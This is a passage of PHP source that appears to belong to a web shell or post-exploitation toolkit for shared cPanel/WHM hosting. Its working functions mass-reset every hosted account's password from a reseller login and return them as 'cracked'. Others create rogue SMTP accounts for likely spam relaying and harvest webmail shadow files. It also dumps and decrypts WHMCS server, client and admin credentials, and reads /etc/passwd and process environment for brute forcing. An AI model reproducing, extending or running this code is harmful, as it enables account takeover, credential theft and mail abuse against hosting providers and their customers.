        $tok = 'cpsess' . $m[1];
    else
        $tok = '__jar__' . $jar;
    return $tok . '|' . $jar;
}

function cp_api_get(string $token_jar, int $port, string $endpoint, string $host = 'localhost'): string {
    // token_jar format: "cpsessXXX|/tmp/jarpath" — token goes in URL, jar provides cookies
    $parts = explode('|', $token_jar, 2);
    $token = $parts[0] ?? '';
    $jar   = $parts[1] ?? '';
    // Strip any trailing |... from jar path (safety guard against old corrupted format)
    if (strpos($jar, '|') !== false) $jar = explode('|', $jar, 2)[0];

    // If we have a cpsess token, embed it in the URL (works without cookies too)
    $cpsess = preg_match('/^(cpsess[0-9a-f]+)$/i', $token, $m) ? $m[1] : '';
    $proto  = ($port === 2082 || $port === 2086) ? 'http' : 'https';
    $url    = $cpsess
        ? "$proto://$host:$port/$cpsess/execute/$endpoint"
        : "$proto://$host:$port/execute/$endpoint";

    $opts = [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 8,
    ];
    if ($jar && @is_readable($jar)) {
        $opts[CURLOPT_COOKIEFILE] = $jar;
        $opts[CURLOPT_COOKIEJAR]  = $jar;
    }
    $ch = curl_init($url);
    curl_setopt_array($ch, $opts);
    $resp = curl_exec($ch);
    curl_close($ch);
    return $resp ?: '';
}

function cp_create_smtp(string $token_jar, int $port, string $cpuser, string $domain, string $host = 'localhost'): array {
    $smtp_user = 'wp_' . substr(md5($cpuser . time()), 0, 8);
    $smtp_pass = substr(str_shuffle('ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789'), 0, 12) . '!1';
    $parts = explode('|', $token_jar, 2);
    $token = $parts[0] ?? '';
    $jar   = $parts[1] ?? '';
    if (strpos($jar, '|') !== false) $jar = explode('|', $jar, 2)[0];
    $cpsess = preg_match('/^(cpsess[0-9a-f]+)$/i', $token, $m) ? $m[1] : '';
    $proto  = ($port === 2082 || $port === 2086) ? 'http' : 'https';
    $url    = $cpsess
        ? "$proto://$host:$port/$cpsess/execute/Email/add_pop"
        : "$proto://$host:$port/execute/Email/add_pop";
    $fields = 'email=' . rawurlencode($smtp_user)
            . '&domain=' . rawurlencode($domain)
            . '&password=' . rawurlencode($smtp_pass)
            . '&quota=250';
    $opts = [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $fields,
        CURLOPT_TIMEOUT        => 10,
    ];
    if ($jar && @is_readable($jar)) {
        $opts[CURLOPT_COOKIEFILE] = $jar;
        $opts[CURLOPT_COOKIEJAR]  = $jar;
    }
    $ch = curl_init($url);
    curl_setopt_array($ch, $opts);
    $resp = curl_exec($ch);
    curl_close($ch);
    if ($jar) @unlink($jar);
    $ok = $resp && (strpos($resp, '"status":1') !== false || strpos($resp, '"errors":null') !== false);
    if ($ok) {
        return [
            'user' => "$smtp_user@$domain",
            'pass' => $smtp_pass,
            'host' => 'mail.' . $domain,
            'port' => 587,
        ];
    }
    return [];
}

function cp_try_plain(string $user, string $pass, int $port, string $host = 'localhost'): bool {
    $proto = ($port === 2082 || $port === 2086) ? 'http' : 'https';
    $ch = curl_init("$proto://$host:$port/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'user=' . rawurlencode($user)
                                . '&pass=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    if (!$resp) return false;
    return strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
}

// ── action: whm_takeover ─────────────────────────────────────────────────────
// Bridge the gap vs F-Automatical WHM_PWD_CHer_P: uses form-login session
// (cookie jar + cpsess) so a plain reseller password works — unlike the
// Authorization: WHM header which requires an access hash.
//
// POST: whm_user, whm_pass, whm_host (optional, default=localhost)
// Returns: {ok:1, reset_count:N, cracked:[{user,domain,pass,url}]}

function whm_takeover_handler(): void {
    if (!function_exists('curl_init')) {
        echo json_encode(['error' => 'curl_disabled', 'cracked' => []]); return;
    }

    $whm_user = trim($_POST['whm_user'] ?? '');
    $whm_pass = trim($_POST['whm_pass'] ?? '');
    $whm_host = trim($_POST['whm_host'] ?? 'localhost');
    if (!preg_match('/^[a-zA-Z0-9._\-]+$/', $whm_host)) $whm_host = 'localhost';

    if (!$whm_user || !$whm_pass) {
        echo json_encode(['error' => 'missing_params', 'cracked' => []]); return;
    }

    // ── 1. WHM form login — try HTTPS 2087 then HTTP 2086 ────────────────────
    $combos   = [['https', 2087], ['http', 2086]];
    $cpsess   = null;
    $jar      = null;
    $wproto   = 'https';
    $wport    = 2087;

    foreach ($combos as [$p, $pt]) {
        $jar_tmp = tempnam(sys_get_temp_dir(), 'whmjr_');
        $ch = curl_init("$p://$whm_host:$pt/login/?login_only=1");
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => 'user=' . rawurlencode($whm_user)
                                    . '&pass=' . rawurlencode($whm_pass)
                                    . '&login_submit=Log+in&goto_uri=%2F',
            CURLOPT_TIMEOUT        => 12,
            CURLOPT_CONNECTTIMEOUT => 6,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_MAXREDIRS      => 4,
            CURLOPT_COOKIEJAR      => $jar_tmp,
            CURLOPT_COOKIEFILE     => $jar_tmp,
        ]);
        $resp = curl_exec($ch); curl_close($ch);
        if (!$resp || strpos($resp, 'security_token') === false) {
            @unlink($jar_tmp); continue;
        }
        $j = @json_decode($resp, true);
        if (!$j || empty($j['security_token'])) {
            @unlink($jar_tmp); continue;
        }
        $cpsess = ltrim($j['security_token'], '/');
        $jar = $jar_tmp; $wproto = $p; $wport = $pt;
        break;
    }

    if (!$cpsess || !$jar) {
        echo json_encode(['error' => 'whm_login_failed', 'cracked' => []]); return;
    }

    // ── 2. listaccts ─────────────────────────────────────────────────────────
    $ch = curl_init("$wproto://$whm_host:$wport/$cpsess/json-api/listaccts?api.version=1&viewall=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 30,
        CURLOPT_COOKIEFILE     => $jar,
        CURLOPT_COOKIEJAR      => $jar,
    ]);
    $list_raw = curl_exec($ch); curl_close($ch);

    if (!$list_raw) {
        @unlink($jar);
        echo json_encode(['error' => 'listaccts_failed', 'cracked' => []]); return;
    }
    $list   = @json_decode($list_raw, true);
    $accts  = $list['data']['acct'] ?? $list['acct'] ?? [];

    // cPanel port mirrors WHM port
    $cp_proto = ($wport === 2087) ? 'https' : 'http';
    $cp_port  = ($wport === 2087) ? 2083 : 2082;

    // ── 3. Reset each sub-account password ───────────────────────────────────
    $cracked = [];
    $skip    = [$whm_user, 'root', 'cpanel', 'nobody', 'system'];

    foreach ($accts as $acc) {
        $u = $acc['user']   ?? '';
        $d = $acc['domain'] ?? '';
        if (!$u || in_array($u, $skip, true)) continue;

        $new_pw = _whm_gen_password();
        $ch = curl_init(
            "$wproto://$whm_host:$wport/$cpsess/json-api/passwd?api.version=1"
            . '&user='       . rawurlencode($u)
            . '&password='   . rawurlencode($new_pw)
            . '&digestmd5=0&db_pass_update=1'
        );
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 20,
            CURLOPT_COOKIEFILE     => $jar,
            CURLOPT_COOKIEJAR      => $jar,
        ]);
        $reset_raw = curl_exec($ch); curl_close($ch);
        $ok = $reset_raw && (
            strpos($reset_raw, '"status":1') !== false ||
            strpos($reset_raw, '"result":1') !== false ||
            stripos($reset_raw, 'success')   !== false
        );
        if ($ok) {
            $cracked[] = [
                'user'   => $u,
                'domain' => $d,
                'pass'   => $new_pw,
                'url'    => "$cp_proto://$d:$cp_port",
            ];
        }
    }

    @unlink($jar);
    echo json_encode(['ok' => 1, 'reset_count' => count($cracked), 'cracked' => $cracked]);
}

function _whm_gen_password(): string {
    $chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $len   = strlen($chars);
    $pw    = '';
    for ($i = 0; $i < 14; $i++) {
        $pw .= $chars[random_int(0, $len - 1)];
    }
    return $pw . '!7';
}

// Also fix cp_login_token to fall back to HTTP port 2082 if HTTPS 2083 fails.
// Called internally by cp_handler (port is always passed as 2083 from there).
function cp_login_token_http(string $user, string $pass, string $host = 'localhost'): string {
    $jar = tempnam(sys_get_temp_dir(), 'cpjar_');
    $ch  = curl_init("http://$host:2082/login/?login_only=1");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'user=' . rawurlencode($user)
                                . '&pass=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 8,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
        CURLOPT_COOKIEJAR      => $jar,
        CURLOPT_COOKIEFILE     => $jar,
    ]);
    $resp = curl_exec($ch); curl_close($ch);
    if (!$resp) { @unlink($jar); return ''; }
    $ok = strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
    if (!$ok) { @unlink($jar); return ''; }
    if (preg_match('/cpsess([0-9a-f]+)/i', $resp, $m))
        $tok = 'cpsess' . $m[1];
    else
        $tok = '__jar__' . $jar;
    return $tok . '|' . $jar;   // same format as cp_login_token — jar path only
}

// ── stream_socket_client fallback when curl_init is disabled ──────────────────
// Used in shared-hosting PHP jails where curl is disabled but sockets are allowed.
// Sends raw HTTP/1.0 request (avoids chunked-encoding complexity).

function cp_login_token_stream(string $user, string $pass, int $port, string $host = 'localhost'): string {
    $use_ssl = ($port !== 2082 && $port !== 2086);
    $scheme  = $use_ssl ? 'ssl' : 'tcp';
    $ctx = stream_context_create(['ssl' => [
        'verify_peer'       => false,
        'verify_peer_name'  => false,
        'allow_self_signed' => true,
    ]]);
    $sock = @stream_socket_client("$scheme://$host:$port", $errno, $errstr, 8,
                                   STREAM_CLIENT_CONNECT, $ctx);
    if (!$sock) return '';
    @stream_set_timeout($sock, 8);

    $body = 'user=' . rawurlencode($user) . '&pass=' . rawurlencode($pass);
    $req  = "POST /login/?login_only=1 HTTP/1.0\r\n"
          . "Host: $host:$port\r\n"
          . "Content-Type: application/x-www-form-urlencoded\r\n"
          . "Content-Length: " . strlen($body) . "\r\n"
          . "Connection: close\r\n\r\n"
          . $body;
    fwrite($sock, $req);

    $raw = '';
    while (!feof($sock) && strlen($raw) < 65536) {
        $chunk = fread($sock, 4096);
        if ($chunk === false || $chunk === '') break;
        $raw .= $chunk;
    }
    fclose($sock);

    $p     = strpos($raw, "\r\n\r\n");
    $rbody = ($p !== false) ? substr($raw, $p + 4) : $raw;

    if (strpos($rbody, '"status":1') === false && stripos($rbody, 'cpsess') === false)
        return '';

    // Extract security_token from JSON response
    $j = @json_decode($rbody, true);
    if ($j && !empty($j['security_token'])) {
        $tok = ltrim($j['security_token'], '/');
        return $tok . '|__stream__|' . $port;
    }
    if (preg_match('/cpsess([0-9a-f]+)/i', $rbody, $m))
        return 'cpsess' . $m[1] . '|__stream__|' . $port;
    return '__ok__|__stream__|' . $port;
}

function cp_api_stream(string $cpsess, int $port, string $endpoint, string $host = 'localhost'): string {
    if (!$cpsess || !$endpoint) return '';
    $use_ssl = ($port !== 2082 && $port !== 2086);
    $scheme  = $use_ssl ? 'ssl' : 'tcp';
    $ctx = stream_context_create(['ssl' => [
        'verify_peer'       => false,
        'verify_peer_name'  => false,
        'allow_self_signed' => true,
    ]]);
    $sock = @stream_socket_client("$scheme://$host:$port", $errno, $errstr, 8,
                                   STREAM_CLIENT_CONNECT, $ctx);
    if (!$sock) return '';
    @stream_set_timeout($sock, 8);

    $path = "/$cpsess/execute/$endpoint";
    $req  = "GET $path HTTP/1.0\r\nHost: $host:$port\r\nConnection: close\r\n\r\n";
    fwrite($sock, $req);

    $raw = '';
    while (!feof($sock) && strlen($raw) < 65536) {
        $chunk = fread($sock, 4096);
        if ($chunk === false || $chunk === '') break;
        $raw .= $chunk;
    }
    fclose($sock);

    $p = strpos($raw, "\r\n\r\n");
    return ($p !== false) ? substr($raw, $p + 4) : $raw;
}

function cp_create_smtp_stream(string $cpsess, int $port, string $cpuser, string $domain,
                                string $host = 'localhost'): array {
    if (!$cpsess) return [];
    $smtp_user = 'wp_' . substr(md5($cpuser . time()), 0, 8);
    $smtp_pass = substr(str_shuffle('ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789'), 0, 12) . '!1';
    $fields    = 'email='    . rawurlencode($smtp_user)
               . '&domain='  . rawurlencode($domain)
               . '&password=' . rawurlencode($smtp_pass)
               . '&quota=250';

    $use_ssl = ($port !== 2082 && $port !== 2086);
    $scheme  = $use_ssl ? 'ssl' : 'tcp';
    $ctx = stream_context_create(['ssl' => [
        'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true,
    ]]);
    $sock = @stream_socket_client("$scheme://$host:$port", $errno, $errstr, 10,
                                   STREAM_CLIENT_CONNECT, $ctx);
    if (!$sock) return [];
    @stream_set_timeout($sock, 10);

    $path = "/$cpsess/execute/Email/add_pop";
    $req  = "POST $path HTTP/1.0\r\n"
          . "Host: $host:$port\r\n"
          . "Content-Type: application/x-www-form-urlencoded\r\n"
          . "Content-Length: " . strlen($fields) . "\r\n"
          . "Connection: close\r\n\r\n"
          . $fields;
    fwrite($sock, $req);

    $raw = '';
    while (!feof($sock) && strlen($raw) < 16384) {
        $chunk = fread($sock, 4096);
        if ($chunk === false || $chunk === '') break;
        $raw .= $chunk;
    }
    fclose($sock);

    $p = strpos($raw, "\r\n\r\n");
    $rbody = ($p !== false) ? substr($raw, $p + 4) : $raw;
    $ok = strpos($rbody, '"status":1') !== false || strpos($rbody, '"errors":null') !== false;
    if (!$ok) return [];
    return [
        'user' => "$smtp_user@$domain",
        'pass' => $smtp_pass,
        'host' => "mail.$domain",
        'port' => 587,
    ];
}


// ── action: smtp_create ───────────────────────────────────────────────────────
// Accepts cracked cPanel user+pass, logs in via login_only=1 to obtain a
// security_token (cpsess), then creates a fresh email account via UAPI and
// returns its SMTP credentials as JSON.

function smtp_create_handler(): void {
    if (!function_exists('curl_init')) {
        echo json_encode(['error' => 'curl_disabled']);
        return;
    }

    $user   = trim($_POST['user']   ?? '');
    $pass   = trim($_POST['pass']   ?? '');
    $domain = trim($_POST['domain'] ?? '');

    if (!$user || !$pass) {
        echo json_encode(['error' => 'missing_creds']);
        return;
    }

    // Step 1: login_only=1 returns JSON with security_token — no cookie jar needed
    $ch = curl_init('https://localhost:2083/login/?login_only=1');
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => 'user=' . rawurlencode($user)
                                . '&pass=' . rawurlencode($pass),
        CURLOPT_TIMEOUT        => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
    ]);
    $resp  = curl_exec($ch);
    curl_close($ch);

    $login  = @json_decode((string)$resp, true);
    $cpsess = ltrim((string)($login['security_token'] ?? ''), '/');
    if (!$cpsess || ($login['status'] ?? 0) !== 1) {
        echo json_encode(['error' => 'login_fail', 'raw' => substr((string)$resp, 0, 120)]);
        return;
    }

    // Step 2: resolve primary domain if not supplied
    if (!$domain || strpos($domain, '.') === false) {
        $dch = curl_init("https://localhost:2083/{$cpsess}/execute/DomainInfo/main_domain");
        curl_setopt_array($dch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 8,
        ]);
        $dom_raw  = curl_exec($dch);
        curl_close($dch);
        $dom_data = @json_decode((string)$dom_raw, true);
        $domain   = (string)($dom_data['data']['main_domain'] ?? '');
    }

    if (!$domain || strpos($domain, '.') === false) {
        echo json_encode(['error' => 'no_domain']);
        return;
    }

    // Step 3: create a fresh email account via UAPI (token in URL — no cookie needed)
    $local = 'wp_svc_' . substr(md5(uniqid('', true)), 0, 6);
    $epw   = substr(md5(uniqid('', true)), 0, 8) . 'Aa1!';

    $cch = curl_init("https://localhost:2083/{$cpsess}/execute/Email/add_pop?"
        . 'email='     . rawurlencode($local)
        . '&password=' . rawurlencode($epw)
        . '&quota=0'
        . '&domain='   . rawurlencode($domain));
    curl_setopt_array($cch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 10,
    ]);
    $cr_raw = curl_exec($cch);
    curl_close($cch);

    $cr = @json_decode((string)$cr_raw, true);
    if (!$cr || ($cr['status'] ?? 0) !== 1) {
        echo json_encode(['error' => 'create_fail', 'raw' => substr((string)$cr_raw, 0, 200)]);
        return;
    }

    echo json_encode([
        'ok'    => true,
        'email' => $local . '@' . $domain,
        'pass'  => $epw,
        'host'  => 'mail.' . registrable_domain($domain),
        'port'  => 587,
    ]);
}

// ── helpers ────────────────────────────────────────────────────────────────────

function registrable_domain(string $domain): string {
    $parts = explode('.', rtrim($domain, '.'));
    if (count($parts) <= 2) return $domain;
    $sld2 = ['co','com','net','org','gov','edu','ac','ne','or','me','in'];
    if (in_array($parts[count($parts)-2], $sld2, true))
        return implode('.', array_slice($parts, -3));
    return implode('.', array_slice($parts, -2));
}

// ── F-Automatical technique: create cPanel email via uapi (no panel password) ──

function uapi_create_smtp_account(array $db): array {
    // Works when PHP shell runs AS the cPanel user — uapi is in cPanel's PATH
    $uapi = '';
    foreach (['/usr/local/cpanel/bin/uapi', '/usr/bin/uapi'] as $p) {
        if (@is_executable($p)) { $uapi = $p; break; }
    }
    if (!$uapi) {
        // Try shell_exec PATH lookup
        if (!function_exists('shell_exec')) return [];
        $w = @trim((string)@shell_exec('which uapi 2>/dev/null'));
        if (!$w || strpos($w, '/') !== 0) return [];
        $uapi = $w;
    }
    if (!function_exists('shell_exec') && !function_exists('exec') && !function_exists('system') && !function_exists('passthru')) {
        return [];
    }

    // Resolve primary domain
    $domain = '';
    $run = function($cmd) {
        if (function_exists('shell_exec')) return trim((string)@shell_exec($cmd));
        if (function_exists('exec')) { @exec($cmd, $o); return trim(implode("\n",$o)); }
        return '';
    };

    $dom_raw = $run("$uapi --output=json DomainInfo main_domain 2>/dev/null");
    if ($dom_raw) {
        $dj = @json_decode($dom_raw, true);
        $domain = (string)($dj['result']['data']['main_domain'] ?? $dj['data']['main_domain'] ?? '');
    }
    if (!$domain || strpos($domain, '.') === false) {
        $who = trim((string)$run('whoami 2>/dev/null'));
        if ($who) {
            $dl = $run("grep -m1 ': $who\$' /etc/userdomains 2>/dev/null | cut -d: -f1");
            if ($dl && strpos($dl, '.') !== false) $domain = trim($dl);
        }
    }
    if (!$domain || strpos($domain, '.') === false) return [];

    // Generate random alias + strong password
    $chars  = 'abcdefghjkmnpqrstuvwxyz23456789';
    $alias  = 'wp_' . substr(str_shuffle(str_repeat($chars, 4)), 0, 8);
    $pw     = substr(md5(uniqid('', true)), 0, 10) . 'Aa1!';

    $out = $run("$uapi --output=json Email add_pop email=$alias domain=$domain password=$pw quota=0 2>/dev/null");
    if (!$out) return [];

    $ok = false;
    $oj = @json_decode($out, true);
    if ($oj) {
        $ok = (int)($oj['result']['status'] ?? $oj['status'] ?? 0) === 1;
    } else {
        $ok = (strpos($out, '"status":1') !== false || strpos($out, '"errors":null') !== false);
    }
    if (!$ok) return [];

    return [
        'source' => 'uapi_create',
        'host'   => 'mail.' . $domain,
        'port'   => 587,
        'user'   => "$alias@$domain",
        'pass'   => $pw,
    ];
}

// ── webmail shadow account scan ────────────────────────────────────────────────

function scan_webmail_shadows(): array {
    $accounts = [];
    $seen = [];
    $http_root = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST'] ?? '');

    // Collect shadow file roots: posix home + parent (Beget/suPHP layouts)
    $proc_uid  = function_exists('posix_getuid') ? @posix_getuid() : null;
    $pw_entry  = ($proc_uid !== null && function_exists('posix_getpwuid'))
                 ? @posix_getpwuid($proc_uid) : null;
    $home_dir  = $pw_entry['dir'] ?? '';
    $shadow_roots = array_unique(array_filter([
        $home_dir,
        $home_dir ? dirname($home_dir) : '',
        '/home',
    ]));

    $all_shadow_files = [];
    foreach ($shadow_roots as $sr) {
        foreach (@glob($sr . '/*/etc/*/shadow') ?: [] as $sf) $all_shadow_files[] = $sf;
        foreach (@glob($sr . '/etc/*/shadow')   ?: [] as $sf) $all_shadow_files[] = $sf;
    }
    // fallback: cPanel stores at /home/{user}/etc/{domain}/shadow
    foreach (@glob('/home/*/etc/*/shadow') ?: [] as $sf) $all_shadow_files[] = $sf;
    $all_shadow_files = array_unique($all_shadow_files);

    foreach ($all_shadow_files as $shadow_file) {
        $domain = basename(dirname($shadow_file));
        if (!strpos($domain, '.')) continue;
        $lines = @file($shadow_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if (!$lines) continue;
        // Use HTTP_HOST as mail domain if shadow domain is a subdomain of it
        $mail_domain = $domain;
        if ($http_root && $domain !== $http_root
            && substr($domain, -(strlen($http_root) + 1)) === '.' . $http_root) {
            $mail_domain = $http_root;
        }
        foreach ($lines as $line) {
            $parts = explode(':', $line);
            $local = trim($parts[0] ?? '');
            if (!$local || $local[0] === '#' || !preg_match('/^[a-zA-Z0-9._+-]+$/', $local)) continue;
            $email = "$local@$domain";
            if (isset($seen[$email])) continue;
            $seen[$email] = true;
            $accounts[] = [
                'source'   => 'webmail',
                'host'     => 'mail.' . $mail_domain,
                'port'     => 587,
                'user'     => $email,
                'pass'     => '',
                '_db_pass' => '',  // Python side fills this from db_out['pass']
            ];
        }
    }
    return $accounts;
}

// ── action: whmcs ─────────────────────────────────────────────────────────────

function whmcs_handler(): void {
    $results = [];

    $search_paths = array_merge(
        glob('/home/*/public_html/configuration.php')        ?: [],
        glob('/home/*/public_html/whmcs/configuration.php')  ?: [],
        glob('/home/*/public_html/billing/configuration.php') ?: [],
        glob('/home/*/public_html/*/configuration.php')       ?: [],
        glob('/var/www/html/configuration.php')               ?: [],
        glob('/var/www/*/configuration.php')                  ?: []
    );

    foreach ($search_paths as $cfg_path) {
        $cfg_content = @file_get_contents($cfg_path);
        if (!$cfg_content) continue;
        // Only process WHMCS configs (must contain cc_encryption_hash)
        if (!preg_match('/cc_encryption_hash/i', $cfg_content)) continue;

        $cfg = [];
        foreach (['db_host','db_username','db_password','db_name','db_port','cc_encryption_hash'] as $key) {
            if (preg_match('/\$' . preg_quote($key, '/') . '\s*=\s*[\'"]([^\'"]*)[\'"]/', $cfg_content, $m))
                $cfg[$key] = $m[1];
        }
        if (empty($cfg['db_name'])) continue;

        $enc_key = $cfg['cc_encryption_hash'] ?? '';
        $conn = @mysqli_connect(
            $cfg['db_host']     ?? 'localhost',
            $cfg['db_username'] ?? '',
            $cfg['db_password'] ?? '',
            $cfg['db_name'],
            (int)($cfg['db_port'] ?? 3306)
        );
        if (!$conn) {
            $results[] = ['config' => $cfg_path, 'error' => 'db_connect_fail',
                          'db_host' => $cfg['db_host'] ?? '', 'db_name' => $cfg['db_name']];
            continue;
        }

        $servers = [];
        $res = @mysqli_query($conn,
            "SELECT id,name,hostname,ipaddress,type,username,password,accesshash,port,`secure` FROM tblservers LIMIT 200");
        if ($res) {
            while ($row = @mysqli_fetch_assoc($res)) {
                $row['password']   = whmcs_decrypt($row['password']   ?? '', $enc_key);
                $row['accesshash'] = whmcs_decrypt($row['accesshash'] ?? '', $enc_key);
                $servers[] = $row;
            }
        }

        $hosting = [];
        $res2 = @mysqli_query($conn,
            "SELECT h.id,h.domain,h.username,h.password,h.server,h.dedicatedip,"
            . "c.email AS client_email "
            . "FROM tblhosting h LEFT JOIN tblclients c ON c.id=h.userid LIMIT 1000");
        if ($res2) {
            while ($row = @mysqli_fetch_assoc($res2)) {
                $row['password'] = whmcs_decrypt($row['password'] ?? '', $enc_key);
                $hosting[] = $row;
            }
        }

        $admins = [];
        $res3 = @mysqli_query($conn,
            "SELECT id,firstname,lastname,email,password,authmodule FROM tbladmins LIMIT 100");
        if ($res3) {
            while ($row = @mysqli_fetch_assoc($res3)) $admins[] = $row;
        }

        @mysqli_close($conn);

        $results[] = [
            'config'  => $cfg_path,
            'db_host' => $cfg['db_host'] ?? '',
            'db_name' => $cfg['db_name'],
            'servers' => $servers,
            'hosting' => $hosting,
            'admins'  => $admins,
        ];
    }

    echo json_encode(['ok' => !empty($results), 'results' => $results,
                      'error' => empty($results) ? 'no_whmcs_found' : null]);
}

function whmcs_decrypt(string $encrypted, string $enc_key): string {
    if (!$encrypted || !$enc_key) return $encrypted;
    // Modern WHMCS 7+ AES-256-CBC: SHA-256 of the hash key, IV prepended
    if (function_exists('openssl_decrypt')) {
        $key  = hash('sha256', $enc_key, true);
        $data = base64_decode($encrypted);
        if ($data && strlen($data) > 16) {
            $dec = @openssl_decrypt(substr($data, 16), 'AES-256-CBC', $key,
                                    OPENSSL_RAW_DATA, substr($data, 0, 16));
            if ($dec !== false && $dec !== '') return $dec;
        }
    }
    // Legacy fallback — plain base64
    $dec = @base64_decode($encrypted);
    if ($dec && preg_match('/^[\x20-\x7e\n\r\t]+$/', $dec)) return $dec;
    return $encrypted;
}

// ── action: sysinfo ───────────────────────────────────────────────────────────
// Pure-PHP system fingerprint — no exec needed. Replaces most exec_cmd calls in
// fingerprint() so disable_functions doesn't kill early data collection.

function sysinfo_handler(): void {
    $out = [];

    $out['php_version']      = PHP_VERSION;
    $out['sapi']             = PHP_SAPI;
    $out['server_software']  = $_SERVER['SERVER_SOFTWARE'] ?? '';
    $out['hostname']         = @gethostname() ?: '';
    $out['doc_root']         = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    $out['script_filename']  = $_SERVER['SCRIPT_FILENAME'] ?? '';
    $out['self_dir']         = __DIR__;
    $out['php_ini']          = @php_ini_loaded_file() ?: '';
    $out['disable_functions'] = @ini_get('disable_functions') ?: '';
    $out['open_basedir']     = @ini_get('open_basedir') ?: '';

    // /proc/self/environ — same data as exec_cmd "cat /proc/self/environ | tr '\0' '\n'"
    $env_raw = @file_get_contents('/proc/self/environ');
    if ($env_raw !== false && strlen($env_raw) > 10) {
        $out['proc_environ'] = str_replace("\0", "\n", $env_raw);
        if (strpos($env_raw, 'ghostlock_php_shield') !== false) $out['ghostlock'] = true;
        foreach (explode("\0", $env_raw) as $kv) {
            $p = explode('=', $kv, 2);
            if (count($p) === 2 && in_array($p[0], [
                'DOCUMENT_ROOT','HTTP_HOST','SERVER_NAME','SCRIPT_FILENAME',
                'PWD','LD_PRELOAD','HOME','USER','PATH',
            ])) $out['env'][$p[0]] = $p[1];
        }
        if (!$out['doc_root'] && isset($out['env']['DOCUMENT_ROOT']))
            $out['doc_root'] = rtrim($out['env']['DOCUMENT_ROOT'], '/');
    }

    // /etc/passwd — system users for cPanel brute
    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd !== false && strlen($passwd) > 20) {
        $out['etc_passwd'] = $passwd;
        $users = [];
        foreach (explode("\n", $passwd) as $line) {
            $p = explode(':', $line);
            if (count($p) < 7) continue;
            $uid = (int)$p[2];
            if ($uid >= 500 && (
                strpos($p[5], '/home') === 0 ||
                strpos($p[5], '/var/cpanel') === 0
            )) {
                $users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
            }
        }
        $out['system_users'] = $users;
    }

    // Open ports from /proc/net/tcp + tcp6 (no exec needed)
    $ports = [];
    foreach (['/proc/net/tcp', '/proc/net/tcp6'] as $tcpf) {
        $lines = @file($tcpf, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if (!$lines) continue;
        foreach (array_slice($lines, 1) as $line) {
            $cols = preg_split('/\s+/', trim($line));
            if (!isset($cols[1])) continue;
            $parts = explode(':', $cols[1]);
            if (count($parts) < 2) continue;
            $port  = hexdec($parts[1]);
            $state = $cols[3] ?? '';
            if ($state === '0A' && $port > 0) $ports[] = (int)$port;
        }
    }
    $out['open_ports'] = array_values(array_unique($ports));

    // Panel detection (no exec needed)
    $panel = '';
    if (@file_exists('/usr/local/cpanel/version'))               $panel = 'cpanel';
    elseif (@file_exists('/usr/local/directadmin/directadmin'))  $panel = 'directadmin';
    elseif (@file_exists('/usr/local/mgr5/etc/ispmgr.conf'))     $panel = 'ispmgr';
    elseif (@file_exists('/usr/local/vesta/bin/v-list-users'))   $panel = 'vesta';
    elseif (@file_exists('/usr/local/hestia/bin/v-list-users'))  $panel = 'hestia';
    elseif (@file_exists('/etc/psa/.psa.shadow') || @file_exists('/usr/local/psa/version')) $panel = 'plesk';
    if ($panel) $out['panel_type'] = $panel;

    // cPanel user config for current user
    $home = $out['env']['HOME'] ?? '';
    $cp_user = $home ? basename($home) : '';
    if ($cp_user) {
